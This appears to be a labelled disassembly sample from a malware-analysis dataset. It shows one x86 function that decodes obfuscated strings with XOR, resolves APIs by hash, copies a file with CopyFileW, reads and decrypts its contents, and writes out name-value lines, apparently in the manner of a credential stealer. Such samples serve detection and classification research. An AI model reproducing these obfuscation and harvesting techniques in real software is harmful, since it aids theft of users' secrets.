Function at 0x4240ad
Capabilities:
Copy file
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.00423620
add esp, 4
test al, al
je 0x423cb0
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xe4
mov dword [esp + 0x38], 0x9d729b53
mov dword [esp + 0x3c], 0x81149f0d
mov dword [esp + 0x40], 0x85688363
mov dword [esp + 0x44], 0x8978876a
mov dword [esp + 0x48], 0x8d188b6b
mov dword [esp + 0x4c], 0xb1b08f66
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0xca
xor cl, byte [esp + eax + 0x38]
add cl, 0xb0
mov byte [esp + eax + 0x38], cl
inc eax
cmp eax, 0x18
jne 0x423cf0
mov dword [esp + 0x82], 0x2370217c
mov dword [esp + 0x86], 0x27612561
mov dword [esp + 0x8a], 0x2b792961
mov dword [esp + 0x8e], 0x2f7c2d78
mov dword [esp + 0x92], 0x336e3169
mov dword [esp + 0x96], 0x37773579
mov dword [esp + 0x9a], 0x3b72397b
mov dword [esp + 0x9e], 0x3f703d75
mov dword [esp + 0xa2], 0x431e4105
mov dword [esp + 0xa6], 0x47094517
mov dword [esp + 0xaa], 0x4b1e490e
mov dword [esp + 0xae], 0x4f0f4d1b
mov dword [esp + 0xb2], 0x53175102
mov dword [esp + 0xb6], 0x57005508
mov dword [esp + 0xba], 0x5b365939
mov dword [esp + 0xbe], 0x5f3b5d2a
mov dword [esp + 0xc2], 0x6331613c
mov dword [esp + 0xc6], 0x67036510
mov dword [esp + 0xca], 0x6b076909
mov word [esp + 0xce], 0x6d6c
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x82]
lea edx, [eax - 0x63826ce0]
mov esi, 0xdf
sub esi, eax
or edx, ecx
not ecx
or ecx, esi
and ecx, edx
mov edx, ecx
not edx
dec ecx
and edx, 1
or ecx, 1
xor ecx, edx
lea ecx, [ecx + edx*2]
mov byte [esp + eax + 0x82], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x4e
jb case.default.0x423e52
lea ebx, [esp + 0x38]
lea ebp, [esp + 0x82]
push ebx
push ebp
call fcn.00432ff0
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x43e8c0]
mov eax, edi
nop
nop
nop
nop
nop
mov ecx, eax
add eax, 2
cmp word [ecx], 0
jne 0x423e60
mov edx, ecx
xor edx, edi
mov eax, edi
not eax
and eax, ecx
add eax, eax
sub eax, edx
cmp eax, 0xffffffd9
jge 0x423e9d
mov eax, 0xffffffff
jmp 0x423ea0
jmp dword [0x43e8d0]
xor eax, eax
jmp 0x424393
add eax, 0x26
push eax
call fcn.00408300
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x82], 0xad4fab56
mov dword [esp + 0x86], 0x51beaf41
mov dword [esp + 0x8a], 0x55bd53b4
mov dword [esp + 0x8e], 0x59a457b1
mov dword [esp + 0x92], 0x5db35bb9
mov dword [esp + 0x96], 0x41a65fb0
mov dword [esp + 0x9a], 0x45a343ab
mov dword [esp + 0x9e], 0x49de4768
mov dword [esp + 0xa2], 0x4daa4bae
mov word [esp + 0xa6], 0x4f4e
xor eax, eax
nop
nop
nop
nop
mov edx, eax
xor edx, 0xa724b285
mov ecx, eax
or ecx, 0x3a
and ecx, edx
mov edx, ecx
and edx, 0x3d
mov esi, eax
and esi, 2
or ecx, 2
imul ecx, esi
xor esi, 2
imul esi, edx
mov edx, eax
xor edx, 0x7a
add edx, esi
add edx, ecx
xor dl, byte [esp + eax + 0x82]
add dl, 0x30
mov byte [esp + eax + 0x82], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0x26
jb 0x423f20
movzx ecx, word [edi]
mov esi, dword [esp + 4]
mov eax, esi
test cx, cx
je 0x423fa1
mov edx, edi
add edx, 2
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423f90
mov word [eax], 0
movzx ecx, word [esp + 0x82]
test cx, cx
je 0x423fd1
lea edx, [esp + 0x84]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423fc0
mov word [eax], 0
jmp dword [0x43e8d8]
push edi
call fcn.00408310
add esp, 4
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x43e8e0]
mov dword [esp + 0x82], 0xb479b272
mov dword [esp + 0x86], 0x4854b659
mov dword [esp + 0x8a], 0x4cb54ab6
mov dword [esp + 0x8e], 0x40b64eab
mov dword [esp + 0x92], 0x44af42a6
mov dword [esp + 0x96], 0x58b846a6
mov dword [esp + 0x9a], 0x5cbd5aa7
mov dword [esp + 0x9e], 0x50b85ea4
mov dword [esp + 0xa2], 0x54a5526f
mov dword [esp + 0xa6], 0x68b156b1
mov word [esp + 0xaa], 0x6a69
xor eax, eax
nop
mov ecx, eax
and ecx, 0x39
mov edx, eax
xor edx, 0x79
add edx, ecx
mov ecx, eax
and ecx, 0xf9
add ecx, edx
xor cl, byte [esp + eax + 0x82]
add cl, 0x38
mov byte [esp + eax + 0x82], cl
inc eax
cmp eax, 0x2a
jne 0x424070
push 0
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x43e8ec]
xor eax, eax
cmp word [esi], 0x2a
sete al
jmp dword [eax*4 + 0x43e8e0]
jmp dword [0x43e8ec]
mov dword [esp + 0x18], edi
mov dword [esp + 0xc], ebx
mov dword [esp], ebp
mov eax, dword [esp + 8]
mov byte [eax], 0
mov dword [esp + 0x38], 0xd4272654
mov dword [esp + 0x3c], 0xd8cac9d0
mov dword [esp + 0x40], 0xd3d1d1d4
mov dword [esp + 0x44], 0xc1d7b19e
mov dword [esp + 0x48], 0xac98dbc4
mov dword [esp + 0x4c], 0xc2dec1c6
mov dword [esp + 0x50], 0xf8cb80ce
mov word [esp + 0x54], 0x72c5
mov eax, 0x5df1197d
mov ecx, 0x220ee682
nop
nop
movzx esi, byte [esp + eax - 0x5df11945]
mov edi, esi
xor edi, 0x28a6d4c8
mov edx, esi
or edx, 0x37
and edx, edi
lea ebx, [eax - 0x5df11900]
not ebx
mov ebp, ecx
and ebp, 0x2006c4c8
and ebx, 0xc8
mov edi, eax
and edi, 0x55510937
or edi, ebp
or edi, ebx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x7e974212
and edx, 0xffffffed
or edx, ebp
or ebx, esi
and esi, 0xffffffc8
xor edx, esi
xor edx, 0x563196da
not ebx
and ebx, 0xffffffc8
or ebx, edx
mov edx, ebx
and edx, edi
add ebx, edi
add edx, edx
sub ebx, edx
add bl, 0x18
mov byte [esp + eax - 0x5df11945], bl
inc eax
dec ecx
cmp eax, 0x5df1199b
jne 0x424120
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 8]
sub eax, edi
mov ecx, dword [esp + 0xf8]
push eax
push edi
lea eax, [esp + 0x40]
push eax
call fcn.00409150
mov dword [esp + 4], eax
mov ebp, dword [esp]
mov ebx, dword [esp + 0xc]
jmp dword [0x43ea98]
xor eax, eax
cmp ebp, ebx
sete al
jmp dword [eax*4 + 0x43e970]
mov dword [esp + 0xc], ebx
mov dword [esp], ebp
mov dword [esp + 0x38], 0xa80bd630
mov dword [esp + 0x3c], 0xac08aa16
mov dword [esp + 0x40], 0xa013ae0c
mov dword [esp + 0x44], 0xa413a260
mov dword [esp + 0x48], 0xb863a615
mov dword [esp + 0x4c], 0xbc0fba18
mov dword [esp + 0x50], 0xb05abe1c
mov dword [esp + 0x54], 0xb460b21d
mov dword [esp + 0x58], 0x8812b601
mov dword [esp + 0x5c], 0x8c368a28
mov dword [esp + 0x60], 0x80338e21
mov dword [esp + 0x64], 0x8420823e
mov dword [esp + 0x68], 0x983b8624
mov dword [esp + 0x6c], 0x9c2d9a67
mov dword [esp + 0x70], 0x90399e39
lea eax, [esp + 0x74]
mov word [esp + 0x74], 0x9291
mov ecx, 0x3d
mov edx, 0xc2
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 5]
lea ebx, [ecx - 0x999f400]
mov edi, edx
and edi, 0xe8
mov ebp, ebx
and ebp, 0x17
or ebp, edi
xor ebp, 0xe8
or ebp, ecx
and ebp, esi
or ebx, esi
xor ebx, ebp
add bl, 0x18
mov byte [esp + ecx - 5], bl
inc ecx
dec edx
cmp ecx, 0x7b
jne case.default.0x4242f9
lea edx, [esp + 0x38]
lea ebx, [esp + 0x82]
mov edi, ebx
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xbe]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0xe0]
push esi
push 0
push 0
push 0x1e
push ebx
push 0
call dword [0x44354c]
xor ecx, ecx
cmp eax, 0xc0000023
setne cl
xor eax, eax
mov ebp, dword [esp]
mov ebx, dword [esp + 0xc]
jmp dword [ecx*4 + 0x43e978]
mov edi, dword [esp + 0xe0]
test edi, edi
jns 0x424312
mov eax, 0xffffffff
jmp 0x424315
lea eax, [edi + edi]
push eax
call fcn.00408300
add esp, 4
push esi
mov esi, eax
push edi
push eax
push 0x1e
lea eax, [esp + 0x92]
push eax
push 0
call dword [0x44354c]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43e980]
xor eax, eax
jmp dword [0x43e988]
push esi
call fcn.00408310
add esp, 4
xor eax, eax
test ebp, ebp
je 0x424393
cmp ebp, ebx
je 0x424393
mov edi, eax
mov esi, ebp
jmp 0x424377
add esi, 8
cmp esi, ebx
je 0x424388
mov eax, dword [esi]
test eax, eax
je 0x424370
push eax
call fcn.00408310
add esp, 4
jmp 0x424370
push ebp
call fcn.00408310
add esp, 4
mov eax, edi
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, ebp
not eax
and eax, ebx
mov ecx, ebx
not ecx
and ecx, ebp
sub eax, ecx
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408300
add esp, 4
mov edi, eax
lea eax, [esp + 0x34]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00437c70
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x43e990]
xor ecx, ecx
mov dword [esp + 8], edi
jmp dword [0x43ea78]
push esi
mov esi, ecx
call fcn.00408310
add esp, 4
mov ecx, esi
mov eax, ecx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x43ea80]
mov dword [esp + 0x24], esi
lea eax, [esp + 0xd8]
push 0
push eax
push dword [esp + 0x3c]
call fcn.00437f20
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
mov dword [esp + 8], edi
jmp dword [eax*4 + 0x43e998]
mov esi, dword [esp + 0xd8]
lea eax, [esi + 1]
push eax
call fcn.00408300
add esp, 4
push 0
push esi
mov dword [esp + 0xdc], eax
push eax
push dword [esp + 0x40]
call fcn.00437fb0
add esp, 0x10
not eax
shr eax, 0x1f
xor edx, edx
mov dword [esp + 8], edi
jmp dword [eax*4 + 0x43e9a0]
mov esi, dword [esp + 0xd8]
mov ebp, dword [esp + 0xd4]
mov byte [ebp + esi], 0
push 0x20
call fcn.00408300
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0xd0], eax
mov ecx, eax
push esi
push ebp
call fcn.00426980
movzx eax, al
xor edx, edx
mov dword [esp + 0x18], edi
mov dword [esp + 8], edi
jmp dword [eax*4 + 0x43e9a8]
mov dword [esp + 0x38], 0xa3b0ba47
mov dword [esp + 0x3c], 0xbea8b8af
mov dword [esp + 0x40], 0xb3bf4b73
mov dword [esp + 0x44], 0x300dc4d6
mov dword [esp + 0x48], 0xcac7c0d0
mov dword [esp + 0x4c], 0xc5c52a07
mov dword [esp + 0x50], 0xdbcdc8c2
mov dword [esp + 0x54], 0xdbd1d033
mov word [esp + 0x58], 0x75d1
mov eax, edx
add al, 0xb4
xor al, byte [esp + edx + 0x38]
add al, 0x60
mov byte [esp + edx + 0x38], al
inc edx
cmp edx, 0x22
jne case.default.0x42455f
mov ecx, dword [esp + 0xd0]
lea eax, [esp + 0x38]
push eax
call fcn.00426bc0
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [esp + 0x18]
mov dword [esp + 8], edx
xor edx, edx
jmp dword [ecx*4 + 0x43e9b0]
mov ebp, dword [esp]
mov edi, dword [esp + 0x18]
jmp dword [0x43ea68]
mov dword [esp + 4], edx
mov esi, dword [esp + 0xd0]
mov ecx, esi
call fcn.00426d30
push esi
call fcn.00408310
add esp, 4
jmp dword [0x43ea70]
mov dword [esp + 4], edx
jmp dword [0x43ea70]
push dword [esp + 0xd4]
call fcn.00408310
add esp, 4
mov ecx, dword [0x443550]
test ecx, ecx
je 0x424609
mov eax, dword [esp + 0x34]
xor edx, edx
mov esi, dword [0x443554]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [esi + edx*8], 0xb430e561
je 0x4245e0
inc edx
cmp ecx, edx
jne 0x4245d0
jmp 0x424609
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, 0xffffffff
je 0x424609
push eax
push 4
push ecx
push dword [0x443558]
call fcn.004360a0
add esp, 0x10
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 4]
jmp dword [0x43ea78]
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 4]
jmp dword [0x43ea78]
mov eax, ecx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x43ea80]
mov dword [esp + 4], ecx
jmp dword [0x43ea98]
jmp dword [0x43eaa0]
push edi
call fcn.00408310
add esp, 4
nop
nop
push edi
call fcn.00408310
add esp, 4
jmp dword [0x43eaac]
mov eax, dword [esp + 4]
and al, 1
test ebp, ebp
jne 0x424358
jmp 0x424393
add eax, 8
xor edx, edx
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 0x18]
mov dword [esp + 8], ecx
jmp dword [eax*4 + 0x43e9b8]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x43e9b8]
mov ebp, dword [esi]
cmp dword [esi + 0x18], 3
mov edi, 0
jne case.default.0x4246b1
mov edi, dword [esi + 0x10]
test ebp, ebp
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x43e9c0]
mov dword [esp + 0x10], esi
mov dword [esp + 4], edx
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x42470e
mov dword [esp + 0xc], ebx
mov ecx, eax
xor ecx, edi
mov edx, edi
not edx
and edx, eax
add edx, edx
sub edx, ecx
inc edx
shr edx, 1
mov dword [esp + 0xdc], edx
lea eax, [edx + 1]
push eax
call fcn.00408300
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x28], eax
jmp dword [edx*4 + 0x43e9d8]
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov edi, esi
jmp dword [edx*4 + 0x43e9d8]
lea esi, [edi + 1]
mov edx, ecx
or edx, 0x20
lea ebx, [edx - 0x61]
cmp ebx, 5
ja case.default.0x424753
add edx, 0xffffffa9
movsx ecx, byte [esi]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x43e9e0]
lea edx, [ecx - 0x30]
cmp edx, 0xa
jb 0x424770
mov edx, 0xffffffff
jmp 0x42477c
mov edx, ecx
and edx, 0xffffffcf
add edx, edx
xor ecx, 0x30
sub edx, ecx
movsx ecx, byte [esi]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x43e9e0]
shl edx, 4
add edi, 2
mov ebx, ecx
or ebx, 0x20
lea esi, [ebx - 0x61]
cmp esi, 5
ja case.default.0x4247b2
add ebx, 0xffffffa9
or ebx, edx
mov byte [eax], bl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x43e9d8]
lea esi, [ecx - 0x30]
cmp esi, 0xa
jb 0x4247cf
mov ebx, 0xffffffff
jmp 0x4247db
mov ebx, ecx
and ebx, 0xffffffcf
add ebx, ebx
xor ecx, 0x30
sub ebx, ecx
or ebx, edx
mov byte [eax], bl
inc eax
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x43e9d8]
mov byte [eax], 0
push 0
push 0x10
push 0
push ebp
call fcn.00426dd0
add esp, 0x10
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], edx
mov ecx, dword [case.0x42455f.22]
mov edi, dword [case.0x42455f.27]
mov dword [esp + 0x20], 0
mov esi, dword [case.0x42455f.32]
xor eax, eax
mov ebx, dword [esp]
cmp ebx, dword [esp + 0xc]
setne al
mov edx, ebx
jmp dword [eax*4 + 0x43e9e8]
mov eax, dword [case.0x4247ea.57]
nop
jmp eax
add edx, 8
xor eax, eax
cmp edx, dword [esp + 0xc]
setne al
jmp dword [eax*4 + 0x43e9e8]
jmp ecx
mov dword [esp], ebx
mov eax, dword [edx + 4]
mov ebp, eax
shr ebp, 0x1c
shl eax, 4
or eax, 1
xor ebp, dword [esp + 0x1c]
xor eax, dword [esp + 0x14]
xor ebx, ebx
or eax, ebp
sete bl
jmp dword [ebx*4 + 0x43ea10]
jmp esi
mov eax, 1
mov ebx, dword [esp]
jmp dword [eax*4 + 0x43ea38]
jmp edi
mov eax, dword [edx]
mov dword [esp + 0x20], eax
xor eax, eax
mov ebx, dword [esp]
jmp dword [eax*4 + 0x43ea38]
xor eax, eax
mov edx, dword [esp + 0x20]
test edx, edx
setne al
mov dword [esp], ebx
jmp dword [eax*4 + 0x43ea40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp + 4]
mov esi, dword [esp + 0x10]
jmp dword [0x43ea60]
mov eax, dword [esp + 0xdc]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x3c], eax
xor eax, eax
cmp byte [edx + eax], 0
lea eax, [eax + 1]
jne 0x424900
add eax, edx
dec eax
mov ecx, edx
not ecx
and ecx, eax
xor eax, edx
add ecx, ecx
sub ecx, eax
mov dword [esp + 0x78], ecx
mov dword [esp + 0x7c], edx
lea esi, [esp + 0x38]
jmp dword [0x43ea48]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
push 0x8b2600cb
push dword [0x44355c]
call fcn.00437540
add esp, 8
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x78]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
push 0x8b2600cb
push dword [0x44355c]
call fcn.00437540
add esp, 8
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x78]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
jmp dword [0x43ea54]
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [esp + 0xc]
jmp dword [ecx*4 + 0x43ea58]
mov edx, dword [esp + 4]
mov esi, dword [esp + 0x10]
jmp dword [0x43ea60]
mov ecx, dword [esp + 0x20]
movzx eax, byte [ecx]
test al, al
je 0x4249eb
inc ecx
mov edi, dword [esp + 8]
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4249de
jmp 0x4249ef
mov edi, dword [esp + 8]
mov byte [edi], 0
mov word [edi], 0x203a
add edi, 2
mov edx, dword [esp + 0x2c]
test edx, edx
je 0x424a2e
mov eax, dword [esp + 0x30]
mov ecx, edx
and ecx, 3
je 0x424a32
xor esi, esi
movzx ebx, byte [eax]
cmp bl, 1
sbb eax, 0xffffffff
mov byte [edi + esi], bl
inc esi
cmp ecx, esi
jne 0x424a0f
add edi, esi
mov ecx, edx
sub ecx, esi
mov esi, edi
mov ebx, dword [esp + 0xc]
jmp 0x424a34
mov esi, edi
jmp 0x424a72
mov ecx, edx
cmp edx, 4
jb 0x424a72
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 1], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [edi + 2], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
lea esi, [edi + 4]
mov byte [edi + 3], dl
mov edi, esi
add ecx, 0xfffffffc
jne 0x424a39
mov byte [esi], 0xa
inc esi
push 0xd77a5d9a
push dword [0x442544]
call fcn.00437540
add esp, 8
push dword [esp + 0x30]
call eax
mov dl, 1
mov dword [esp + 8], esi
mov esi, dword [esp + 0x10]
jmp dword [0x43ea60]
push dword [esp + 0x28]
mov esi, edx
call fcn.00408310
mov edx, esi
mov esi, dword [esp + 0x14]
add esp, 4
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x43e9b8]
mov eax, dword [case.0x423e52.20]
mov ebx, edx
mov edi, dword [esp + 0x28]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x43e960]
push esi
call fcn.00408310
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408310
add esp, 4
jmp dword [0x43e96c]
mov dword [esp + 0x28], edi
mov dword [esp + 0x82], 0x3101ae7
mov dword [esp + 0x86], 0x1e08180f
mov dword [esp + 0x8a], 0x131febd3
mov dword [esp + 0x8e], 0xd0ed2436
mov dword [esp + 0x92], 0x2a272030
mov dword [esp + 0x96], 0x2829c8e7
mov dword [esp + 0x9a], 0x3b203823
mov word [esp + 0x9e], 0x9123
xor eax, eax
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x82]
mov edx, 0x98ccb1eb
sub edx, eax
lea esi, [eax + 0x3334e14]
and esi, 0x3224e27
and edx, 0x90801058
or edx, esi
xor edx, ecx
xor edx, 0xb6eefa7
mov edi, 0xeb
sub edi, eax
mov esi, ecx
not esi
or esi, edi
and edi, ecx
or edi, edx
mov edx, 0xfe
sub edx, esi
sub edx, ecx
lea ebx, [edi + edi]
not ebx
add ebx, edi
add ecx, esi
inc ecx
and edx, ebx
xor ecx, ebx
add ecx, ebx
sub ecx, edx
add cl, 0x60
mov byte [esp + eax + 0x82], cl
mov ecx, eax
xor ecx, 1
and eax, 1
lea eax, [ecx + eax*2]
cmp eax, 0x1e
jb case.default.0x424bfd
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x82]
push eax
call fcn.00426bc0
xor ecx, ecx
test eax, eax
setne cl
xor edx, edx
xor ebp, ebp
jmp dword [ecx*4 + 0x43e918]
add eax, 8
xor edx, edx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor ebp, ebp
xor edi, edi
xor ebx, ebx
xor esi, esi
jmp dword [eax*4 + 0x43e920]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, dword [esp]
mov eax, dword [esp + 0x1c]
mov dword [ebp + eax + 4], ecx
mov edx, dword [esp + 0xc]
add edx, 8
mov ecx, dword [esp + 8]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, ebp
mov ebx, edx
mov esi, dword [esp + 0x18]
jmp dword [eax*4 + 0x43e920]
mov dword [esp + 8], ecx
mov eax, dword [ecx]
mov dword [esp + 0x20], eax
mov ebp, ebx
not ebp
mov eax, edi
and eax, ebp
mov ecx, edi
not ecx
and ecx, ebx
sub ecx, eax
mov dword [esp + 0x14], ecx
mov edx, ecx
sar edx, 3
cmp ebx, esi
je 0x424c9c
mov dword [esp + 0x18], esi
mov dword [esp + 0xc], ebx
mov dword [esp], edi
mov esi, dword [esp + 0x14]
jmp 0x424d31
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x10], edx
lea eax, [edx + 1]
mov ecx, esi
sub ecx, edi
sar ecx, 3
mov edx, ecx
shr edx, 1
add edx, ecx
cmp edx, eax
ja 0x424cba
mov edx, eax
mov dword [esp], edx
lea eax, [edx*8]
push eax
call fcn.00408300
add esp, 4
mov ebp, eax
test edi, edi
je 0x424d0c
cmp edi, esi
je 0x424d03
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [ebp + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [ebp + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, esi
jne 0x424ce0
push edi
call fcn.00408310
add esp, 4
mov eax, dword [esp]
lea eax, [eax*8]
add eax, ebp
mov dword [esp + 0x18], eax
mov dword [esp], ebp
mov esi, dword [esp + 0x14]
add ebp, esi
mov dword [esp + 0xc], ebp
mov ebp, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
mov eax, ebx
sub eax, edi
mov ecx, eax
mov dword [esp + 0x1c], eax
cmp eax, esi
jae 0x424e20
lea edx, [edi + edx*8]
sub edx, ebx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp]
lea ebx, [ecx + eax]
add eax, ecx
add eax, 8
mov ecx, edx
cmp edx, 8
jle 0x424d9b
not ecx
and ecx, 1
mov esi, edx
and esi, 0x7ffffffe
sub esi, ecx
add ebx, esi
mov dword [esp + 0x10], edx
and edx, 3
je 0x424dd4
neg edx
xor esi, esi
nop
nop
nop
nop
movzx eax, byte [ebx + esi]
mov byte [ebx + esi + 8], al
dec esi
cmp edx, esi
jne 0x424d80
lea eax, [ebx + esi]
add eax, 8
add ebx, esi
add dword [esp + 0x10], esi
jmp 0x424dd6
shr ecx, 2
mov esi, ebx
mov edi, eax
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov esi, edx
and esi, 0xfffffffc
add eax, esi
add esi, ebx
mov ecx, edx
shr ecx, 1
and ecx, 1
mov ebx, esi
mov edi, eax
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
test dl, 1
je 0x424e20
and edx, 2
movzx ecx, byte [esi + edx]
mov byte [eax + edx], cl
jmp 0x424e20
add eax, esi
add edi, dword [esp + 0x14]
add ebp, edi
cmp ebp, 3
mov edx, dword [esp + 0x10]
jb 0x424e20
neg edx
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
movzx edx, byte [ebx + ecx]
mov byte [eax + ecx], dl
movzx edx, byte [ebx + ecx - 1]
mov byte [eax + ecx - 1], dl
movzx edx, byte [ebx + ecx - 2]
mov byte [eax + ecx - 2], dl
movzx edx, byte [ebx + ecx - 3]
mov byte [eax + ecx - 3], dl
mov edx, esi
add ecx, 0xfffffffc
cmp esi, ecx
jne 0x424df0
nop
nop
nop
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp]
mov dword [ecx + eax], 0
mov dword [esp], ecx
mov dword [ecx + eax + 4], 0
xor eax, eax
mov esi, dword [esp + 0x20]
nop
cmp byte [esi + eax], 0
lea eax, [eax + 1]
jne 0x424e40
add eax, esi
dec eax
mov ebx, esi
not ebx
and ebx, eax
xor eax, esi
add ebx, ebx
sub ebx, eax
lea ebp, [ebx + 1]
push ebp
call fcn.00408300
add esp, 4
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp]
mov dword [edx + ecx], eax
mov ecx, ebp
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebp
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov dword [esp + 0x14], ebp
shr ebp, 1
and ebp, 1
mov esi, edx
mov edi, eax
mov ecx, ebp
xchg esi, esi
rep movsw word es:[edi], word [esi]
xchg esi, esi
test bl, 1
jne 0x424eb7
mov esi, dword [esp + 0x14]
and esi, 2
movzx ecx, byte [edx + esi]
mov byte [eax + esi], cl
test ebx, ebx
je 0x424c21
mov ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x14], ebx
mov ebx, dword [esp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ebx + eax]
xor edi, ecx
mov ecx, edi
shr ecx, 1
mov edx, edi
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov esi, edx
shr esi, 1
mov ecx, edi
shl ecx, 0x1e
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, esi
mov ebp, edi
shl ebp, 0x1d
sar ebp, 0x1f
and ebp, 0x76dc419
mov esi, edi
shl esi, 0x1c
sar esi, 0x1f
and esi, 0xedb8832
xor esi, ebp
mov ebp, edi
shl ebp, 0x1b
sar ebp, 0x1f
and ebp, 0x1db71064
shl edi, 0x1a
sar edi, 0x1f
and edi, 0x3b6e20c8
xor edi, ebp
xor edi, esi
mov esi, ecx
shr esi, 6
xor edi, esi
shl edx, 0x1a
sar edx, 0x1f
and edx, 0x76dc4190
xor edx, edi
shl ecx, 0x1a
sar ecx, 0x1f
and ecx, 0xedb88320
xor ecx, edx
inc eax
cmp dword [esp + 0x14], eax
jne 0x424ed0
not ecx
jmp 0x424c30
